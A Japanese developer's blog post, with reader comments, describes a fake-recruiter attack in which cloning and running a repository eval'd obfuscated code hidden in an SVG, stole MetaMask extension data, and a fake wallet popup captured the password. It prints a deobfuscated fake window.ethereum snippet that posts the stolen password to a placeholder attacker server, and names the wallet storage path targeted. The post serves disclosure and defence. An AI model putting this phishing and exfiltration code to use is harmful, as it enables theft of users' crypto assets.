Web3開発者をねらったハッキング手口の全て(わたしは全て抜かれました...)
はじめに
本当に悔しいし許せないし、エンジニアとして不甲斐ないです。2025年2月26日深夜にハッキングにあいました。どのように相手と繋がり、どのような手口でハッカーに資産を抜かれたか、コードベースで全てお伝えします。今後同じ被害に遭う方が少しでも減ることがあればこんな嬉しいことはないです。
コード解説、さらに対策案も書いていきます。もし他に良い対策案などあればコメントでご教示ください。
ハッカーとのやりとりの流れ
ハッカーとは Linkedin でブロックチェーンを使ったプロジェクトを手伝ってくれないかという連絡がりそこからやりとりが始まりました。そして移行の大まかな流れは下記のような感じです。
- Linkedinでプロジェクトを手伝ってほしいと言う内容でDMがくる
- Githubリポを見て実装できそうか確認してほしいと言われる
- 自分のGithubアカウントを共有してプライベートリポジトリに招待される
- プロジェクトの概要の確認のために、一度ローカルで立ち上げてUIクローンして立ち上げてみてといわれる
- 言われるがまま、(1)クローン (2)npm install (3)npm run dev -> ここで悪意のあるJavascriptが実行される(後述)
- その後、実際にGoogle Meetでプロジェクトのこと話したいということで、招待を送ってくれと言われる(そもそも招待を送ってこなかったところが怪しい)
- Meetではプロジェクト概要説明のため画面共有しながら先方から共有してきたURLにアクセスしてプロジェクトを確認(ローカルで立ち上げたときのUIと同じ)
- ここで少し怪しいと思い、「なぜそちらで共有しないんだ」と言うと会話が英語でよくわからないまま進んでしまった
- 進めていくと、Connect Walletしなければならないということになったので、それはしないと断った
- クリプトの世界でいきなりメタマスクをコネクトするのはおかしいと、この時は自分はまともなことを言っていた
- 相手はテストネットだから大丈夫だと言う
- 確かにそうかと思い、一度画面共有を解除してConnect Walletボタンを押下してパスワード入力
した - しかし、なかなかコネクトにならない
- 画面共有解除していたのが相手はもどかしい様子で、早く見せてくれという
- そこでおかしいとおもってメタマスクをよく見たらHTMLに組み込まれた偽のものだったことに気づく
- だが時既におそしで、そのブラウザのメタマスク拡張で管理していたものは根こそぎ全て抜かれていました
ハッカーの手口の流れ
- 対象者に悪意あるコードを実行させる
- ブラウザの拡張機能データの暗号化された秘密鍵やシードフレーズをローカルから取得 -> ハッカーのリモートサーバーへ送信 *ここで準備完了
- 上記Xの画像にあるような、パブリックURLにアクセスさせそこで偽のMetaMaskにパスワードを入力させ、ハッカーが受け取る
-
2
の秘密の値を3
で取得したパスワードで復号化 - あとは向こうの思うまま
ハッカーの手口の詳細解説
まずは、ローカルでnpm run devやnpm startをさせてプロジェクトをローカルで立ち上げさせます。package.json
のscriptを見てみると下記のコマンドが実行されていました。
どのようなコードが実行されたか追っていきます。ちなみにディレクトリ構造はこんな感じ。
npm start で実行されたもの
npm run startをしたことで実行されたもので特筆したいのは node server/app.js
この部分。app.js
では下記のコードが実行されており、なにやら util.assets
関数の戻り値であるdata
をeval(data)
している。eval()
は文字列をJavaScriptコードとして実行する関数です。
(はい、evalがある時点で怪しさ満点でした。力不足で全然気づかなかった...)
さて、何が実行されたかをutil.assets
を追って確認すると下記のコード。
これはSVGファイルを読み込んでますが、SVGファイルは下記のようになっており難読化されています。
難読化されたコードの分析
これをAIに解析してもらったところ丁寧に教えてくれました。
// 難読化を解除すると、おおよそこのような処理になります
(function() {
// オリジナルのMetaMaskオブジェクトを保存
const originalEthereum = window.ethereum;
// window.ethereumを偽物に置き換え
window.ethereum = {
request: async function(params) {
if (params.method === 'eth_requestAccounts') {
// 偽のMetaMaskポップアップを表示
const fakePopup = document.createElement('div');
fakePopup.innerHTML = `
<div class="metamask-popup">
<input type="password" placeholder="Password" />
<button>Unlock</button>
</div>
`;
document.body.appendChild(fakePopup);
// パスワード入力を待機
const password = await new Promise(resolve => {
fakePopup.querySelector('button').onclick = () => {
resolve(fakePopup.querySelector('input').value);
};
});
// 盗んだパスワードを攻撃者のサーバーに送信
await fetch('https://攻撃者のサーバー/steal', {
method: 'POST',
body: JSON.stringify({ password })
});
// 本物のMetaMaskの処理を実行
return originalEthereum.request(params);
}
return originalEthereum.request(params);
}
};
})();
とどのつまり、よく実装するときにもつかう window.ethereum
これを偽造しています。
既存のフロントエンドコードを見てもwindow.ethereum
を立ち上げているようにしか見えないのです。偽造されたwindow.ethereum
の中ではAIさん曰く、
「パスワード入力」させて
// パスワード入力を待機
const password = await new Promise(resolve => {
fakePopup.querySelector('button').onclick = () => {
resolve(fakePopup.querySelector('input').value);
};
});
取得したパスワードを攻撃者のサーバーに送信していると。
// 盗んだパスワードを攻撃者のサーバーに送信
await fetch('https://攻撃者のサーバー/steal', {
method: 'POST',
body: JSON.stringify({ password })
});
追記 (2/28)
友人協力のもとわかったこと。上記のパスワード入力させてハッカーのリモートサーバーに送るというのは動的な処理で、実際にはローカルでnpm run dev
したときにはもっと重要な前処理が行われていました。
const fs = require('fs');
const os = require('os');
const path = require('path');
const request = require('request');
おそらくこれらのNode.jsのAPIを使用しており、ローカルファイルシステムにアクセスしています。
そこで、ブラウザのプロファイルディレクトリを探索し、特にChrome系ブラウザの拡張機能データを収集します。MetaMaskのデータは通常 Local Extension Settings/nkbihfbeogaeaoehlefnkodbefgpgknn/
ディレクトリに保存されており、そこから秘密鍵を含む暗号化されたストレージが窃取されます。
そして、攻撃者のC2サーバーに、上記のMetaMaskのローカルストレージ(秘密鍵がパスワードで暗号化された状態)送信されます。
*ここで、準備完了
追記(3/1)
いや、難読化コードこんなレベルではなくもっとやばかったです。分析してくださった方がいらっしゃるのでこちらご参照ください。
もう根こそぎとられてる... PC、初期化します。
プロジェクト立ち上げ後に起こったこと
ここで、プロジェクトを立ち上げたことを確認してハッカーはMTGを申し込んできます。それに承諾して送られてきたパブリックなURLにアクセスするよう求められ、アクセスするとローカルで立ち上げたようなUIで立ち上がります。そしてConnect Wallet
したときに、偽のwindow.ethereum
を実行します。
src/utils/interact.js
ここで立ち上がったのは偽のMetaMaskポップアップ。
後の流れはこうです。
- 私がパスワードを入力
- それが攻撃者のサーバーに送信 (上記の偽のwindow.ethereumのコード)
- 攻撃者は、先に盗んでいた私のMetaMaskの暗号化された秘密鍵(またはシードフレーズ)を、取得したパスワードを使って復号化
- トークンの転送トランザクションに署名
- ウォレット内の資産を攻撃者のアドレスに転送
実際のトランザクション
Ethereum
Polygon
ちょうど最近、一部はカストディウォレットに移していたのが不幸中の幸い。。
対策案
じゃあどうしたら防げたのかというと、Xでいろいろな人からコメントもらったことや自分で考えたことをまとめていきます。
何はともあれ、まずは急にプロジェクトコード渡されたら一度コードを全部AIにぶん投げて精査してもらう
- npm install前にpackage.jsonとその
script
コマンド、さらにそのコマンドで実行されるソースコードを読み込む - MetaMaskなどのウォレット操作は必ず公式の拡張機能を使用(そこは今回わかっていたけど)
- eval()関数など文字列をJavascriptとして読み込む関数があれば怪しい -> コード内検索eval
- 開発用の専用ブラウザを準備して、資産管理のものとは分ける - Dockerの使用(ただし今回はフロントエンドコードでの手口で、結局ブラウザで実行されるため、Dockerによる保護はできないと思われる。上記の
interact.js
参照のこと)
まとめ
以上が一連の流れと、コードの説明でした。先月籍を入れたばかりで、結婚指輪や結婚式など何かとお金がかかる時期でしたので、かなりのダメージでした。
エンジニアとして不甲斐ないですが、私自身ブロックチェーン業界には、「中央集権に依存することがなく、より個人の可能性を広げるものだ」という思想で入ってきているので、ブロックチェーンの技術そういうふうに使ってほしくないなと強く思いました。
この記事で少しでも多くの人への注意喚起になれれば幸いです。
Discussion
これって受け取ったgithubのレポジトリをそのままAIに投げて
「悪意のあるコードは含まれているか確認して下さい」的な事をお願いしたら見つけてくれますか?
このような事件の対処法として「怪しい人から受け取ったソースを実行しない」というのは完全に防げますが、
実際は今回のように相手が怪しいかを確実に判断するのは不可能だし、現実的とはちょっと言えないと思うので
そういう時に検知ができたかを知りたいです。
これ、ぶん投げ出てAI見つけてくれます。実際この記事もAIに原因見つけてもらいながらまとめましたので。1回AI挟むのは定石になりそうですね。ありがとうございます、追加しまいた。
たまたま見つけたのでコメントなんですが、このような事例もあるのでその辺を加味して利用した方が良さそうかなと思いました。
(詳細なプロセスを赤裸々に書いてくれており、いろんな面で参考になる記事だなと思いました 🙏)
追記&補足ありがとうございます!
辛いご状況にも関わらず詳細な開示ありがとうございます。たいへん参考になりました。
1.私が認証情報を入力
2.それが攻撃者のサーバーに送信 (上記の偽のwindow.ethereumのコード)
3が記事内容でどうやったのかわからなかったんですが記事掲載以外のコードに仕込まれていたんでしょうか?シードフレーズで派生した他のアカウントからも資金抜かれたんでしょうか?
ありがとうございます。こちら私の誤解があったようですみません、友人が難読化コードを解析してくれたことを元に記事を修正しました。
追記
の部分をご確認ください。端的にいうと、
npm run dev
したときにmetamaskのローカルで保存されている暗号化された秘密鍵などがすでに盗まれており、私が入力した認証情報で復号化した、といった流れになります。metamaskを使っていないので的外れだったら申し訳ありませんが、
>一度画面共有を解除してConnect Walletボタンを押下してパスワード入力
ここで攻撃者が作った偽のログイン画面に認証情報を入力してしまったという事だと思いますが、
ブラウザのアドレス欄で気付くことは可能だったでしょうか?
例えばGoogleログインを要求された時、そのドメインがgoogle.comではない 例えばlocalhostだったり全く別のドメインだったら偽サイトの可能性が高いと判断出来ます。
「metamaskのコネクト画面はネイティブアプリだからアドレスバーはない。だからコネクト画面の外観だけで判断は出来ない」って事かな
まさにこの通りだと思います。今回の偽metamaskはポップアップのようなものですので、外観では判断できなさそうです。
なるほど~
ブラウザならhtmlが全く信用できなくてもアドレスバーの情報は完全に信頼出来るけど
ネイティブアプリだと、起動してるプロセスを直接見るくらい?それもPCローカルで任意コード実行されている段階でバイナリが差し替えられてる可能性もあって完璧じゃないし…
そこで判別するのは無理そうか。
npm run startで実行されたコードがどのようにログインフォームに作用していたのかが気になります
npm run dev
ではローカルのMetamask拡張機能がある暗号化されたデータ(秘密鍵)をハッカーのサーバーに事前に送信しており、その後パブリックURLで入力したパスワードで復号化したという流れになります。もう PC は初期化しましたか?してないならすぐにすることをおすすめします。
util.assets
を使っている同系統の GitHub に落ちていたマルウェアを解析すると、JS を経由して難読化された Python コードを実行しており、それの難読化を戻すとキーロガーとマウスロガーが入っていました。亜種が大量にあるから、種類にもよりそうだけど
踏まされた時は初期化が一番
ツラいすね、、。
こういうサイバー犯罪?って犯罪者を捕まえるのは無理なんですかね。捕まってほしいし、損害分取り返せない?🫠
公私混同しがちなので人のこと全く言えないですが、
普通の会社員は業務 (開発) 用のPCにプライベートのデータを入れないので (逆は言わずもがな)、たとえ副業案件でもOSのユーザーを作成して切り替える、Chromeのログインを分けるとか、ちゃんとすべきなのだろうな、と思うなど。
鑑みると我々は常々、ユーザー権限といえどnodejsによる実行だけでなく様々なコード実行を許している気がするので(npmなど同様の各言語のパッケージマネージャーによるコード実行や、
$ curl {url} | sh
・ArchLinuxのAURなど。)、そういうときは一度思考を挟むことを癖つけるか、そもそもAIに全部実行をさせて、思考を挟ませるのがよさそうですね〜